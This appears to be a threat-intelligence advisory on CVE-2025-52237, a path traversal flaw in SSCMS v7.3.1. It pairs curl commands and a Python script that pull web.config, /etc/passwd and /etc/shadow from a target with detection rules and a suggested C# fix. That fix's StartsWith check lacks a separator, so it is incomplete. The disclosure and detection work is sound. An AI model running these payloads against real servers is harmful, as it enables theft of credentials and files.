CVE-2025-52237

Executive Summary

CVE-2025-52237 is a directory traversal vulnerability discovered in SSCMS v7.3.1, a .NET-based content management system. The flaw resides in the /stl/actions/download?filePath endpoint, allowing an unauthenticated attacker to read arbitrary files from the server's filesystem by manipulating the filePath parameter with path traversal sequences (e.g., ../). This can lead to exposure of sensitive configuration files, source code, or credentials. No official patch has been released as of this analysis, and the vulnerability is considered unpatched. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the public availability of proof-of-concept code increases risk for unhardened deployments.

Supply Chain & Package Security

SSCMS is a .NET application distributed via GitHub and NuGet. The vulnerability is not related to a package manager dependency but to the application's own code. Organizations using SSCMS should treat this as a direct application security issue and apply virtual patching or WAF rules until an official fix is available.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, which is likely a placeholder. Based on the vulnerability characteristics, a realistic CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): None (N)
• Availability (A): None (N)

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Base Score: 7.5 (High)

The threat level is High due to the ease of exploitation and potential for sensitive data disclosure.

Deep Dive & Mechanics

The vulnerability is a classic directory traversal (path traversal) in the file download functionality of SSCMS. The endpoint /stl/actions/download?filePath= is designed to serve files to authenticated users, but it fails to sanitize user-supplied input. An attacker can inject ../ sequences to escape the intended download directory and access any file on the server that the application process has read permissions to.

Root Cause: The application likely uses a method like System.IO.File.ReadAllBytes() or Response.TransmitFile() with a concatenated path without validating that the resolved path stays within an allowed base directory.

Attack Flow:

1. Attacker sends a GET request to /stl/actions/download?filePath=../../../etc/passwd (on Linux) or ..\..\..\windows\win.ini (on Windows).
2. The server resolves the path relative to its working directory or a configured base path.
3. The file is read and returned in the HTTP response.

Impact:

• Disclosure of web.config (contains database connection strings, API keys).
• Disclosure of application source code (.cs, .aspx files).
• Disclosure of system files (e.g., /etc/shadow, /etc/passwd).
• Potential pivot to further attacks if credentials are exposed.

Vulnerable vs. Patched Code

Since no patch is available, we analyze the vulnerable code pattern and what a fix would look like.

Vulnerable Code (C# example):

[HttpGet]
public IActionResult Download(string filePath)
{
    var fullPath = Path.Combine(_baseDirectory, filePath);
    if (System.IO.File.Exists(fullPath))
    {
        var fileBytes = System.IO.File.ReadAllBytes(fullPath);
        return File(fileBytes, "application/octet-stream", Path.GetFileName(fullPath));
    }
    return NotFound();
}

Patched Code (recommended fix):

[HttpGet]
public IActionResult Download(string filePath)
{
    var baseDir = _baseDirectory;
    var fullPath = Path.GetFullPath(Path.Combine(baseDir, filePath));
    // Ensure the resolved path is within the base directory
    if (!fullPath.StartsWith(baseDir, StringComparison.OrdinalIgnoreCase))
    {
        return Forbid();
    }
    if (System.IO.File.Exists(fullPath))
    {
        var fileBytes = System.IO.File.ReadAllBytes(fullPath);
        return File(fileBytes, "application/octet-stream", Path.GetFileName(fullPath));
    }
    return NotFound();
}

The fix uses Path.GetFullPath() to resolve any .. sequences and then checks that the resolved path starts with the intended base directory.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running SSCMS v7.3.1.
• Network access to the /stl/actions/download endpoint.

Exploit Steps:

1. Identify the target: http://target.com/stl/actions/download?filePath=test.txt (if test.txt exists, it confirms the endpoint).
2. Attempt directory traversal:

   curl "http://target.com/stl/actions/download?filePath=../web.config"
   

3. Read sensitive files:

   curl "http://target.com/stl/actions/download?filePath=../../../etc/passwd"
   

4. On Windows:

   curl "http://target.com/stl/actions/download?filePath=..\..\..\windows\win.ini"
   

Automated Exploit (Python):

import requests

target = "http://target.com"
payloads = [
    "../web.config",
    "../../../etc/passwd",
    "../../../etc/shadow",
    "..\\..\\..\\windows\\win.ini",
    "../App_Data/sscms.config"
]

for payload in payloads:
    url = f"{target}/stl/actions/download?filePath={payload}"
    response = requests.get(url)
    if response.status_code == 200 and len(response.content) > 0:
        print(f"[+] Success: {payload}")
        print(response.text[:500])
    else:
        print(f"[-] Failed: {payload}")

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests to /stl/actions/download containing ../ or ..\.
• Alert on HTTP 200 responses from this endpoint with unusual file extensions (e.g., .config, .cs, .exe).

Mitigation:

• Apply a WAF rule to block path traversal patterns in the filePath parameter.
• Restrict file system permissions for the application pool user.
• Implement input validation: reject any filePath containing .. or / or \.
• Use a virtual patch until an official fix is released.

Lab Setup:

• Download SSCMS v7.3.1 from GitHub.
• Deploy on a local IIS or Kestrel server.
• Use Burp Suite or curl to test the vulnerability.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /stl/actions/download?filePath= with path traversal sequences.
• Outbound connections from the server to unknown IPs (if exfiltration occurs).

File System IOCs:

• Unexpected access to files outside the web root (e.g., /etc/passwd, web.config).
• Modified timestamps on sensitive files.

Log IOCs:

• Web server logs showing 200 responses for requests with ../ in the filePath parameter.
• Application logs showing File.Exists() calls with suspicious paths.

YARA Rule:

rule CVE_2025_52237_Directory_Traversal {
    meta:
        description = "Detects directory traversal attempts against SSCMS download endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-52237"
    strings:
        $s1 = "/stl/actions/download?filePath=" ascii wide nocase
        $s2 = "../" ascii wide
        $s3 = "..\\" ascii wide
    condition:
        $s1 and ($s2 or $s3)
}

Sigma Rule:

title: SSCMS Directory Traversal Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal patterns in SSCMS download endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-query|contains:
            - "/stl/actions/download?filePath="
            - "../"
            - "..\\"
    condition: selection
falsepositives:
    - Legitimate use of relative paths in rare configurations
level: high

Suricata Rule:

alert http any any -> any any (msg:"CVE-2025-52237 SSCMS Directory Traversal Attempt"; flow:to_server,established; content:"/stl/actions/download?filePath="; http_uri; content:"../"; distance:0; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Detection Engineering

YARA Rule

rule CVE_2025_52237_SSCMS_Traversal {
    meta:
        description = "Detects SSCMS directory traversal exploit attempts in HTTP logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-52237"
    strings:
        $uri = "/stl/actions/download?filePath=" ascii wide nocase
        $traversal1 = "../" ascii wide
        $traversal2 = "..\\" ascii wide
        $traversal3 = "%2e%2e%2f" ascii wide  // URL-encoded ../
        $traversal4 = "%2e%2e%5c" ascii wide  // URL-encoded ..\
    condition:
        $uri and any of ($traversal*)
}

Sigma Rule

title: SSCMS Directory Traversal - CVE-2025-52237
id: 2b3c4d5e-6f7a-8b9c-0d1e-2f3a4b5c6d7e
status: experimental
description: Detects directory traversal attempts against SSCMS download endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-query|contains:
            - "/stl/actions/download?filePath="
            - "../"
            - "..\\"
            - "%2e%2e%2f"
            - "%2e%2e%5c"
    condition: selection
falsepositives:
    - Rare legitimate use of relative paths
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-52237 SSCMS Directory Traversal"; flow:to_server,established; content:"/stl/actions/download?filePath="; http_uri; pcre:"/(\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c)/Ri"; classtype:attempted-recon; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Virtual Patching: Deploy a WAF rule to block requests containing ../ or ..\ in the filePath parameter.
2. Input Validation: Modify the application code to reject any filePath that contains .. or path separators.
3. File Permissions: Restrict the application pool user to read-only access on the web root only.

Long-Term Fix:

• Apply the patched code pattern shown in the "Vulnerable vs. Patched Code" section.
• Monitor the SSCMS GitHub repository for an official patch.
• Upgrade to a patched version when available.

Workaround:

• Disable the download functionality if not required.
• Use a reverse proxy to filter malicious requests.

Detection:

• Implement the YARA, Sigma, and Suricata rules provided in this report.
• Enable detailed logging on the web server and monitor for anomalies.

Valters IT
Cyber Threat Intelligence & DevSecOps
Report generated for CVE-2025-52237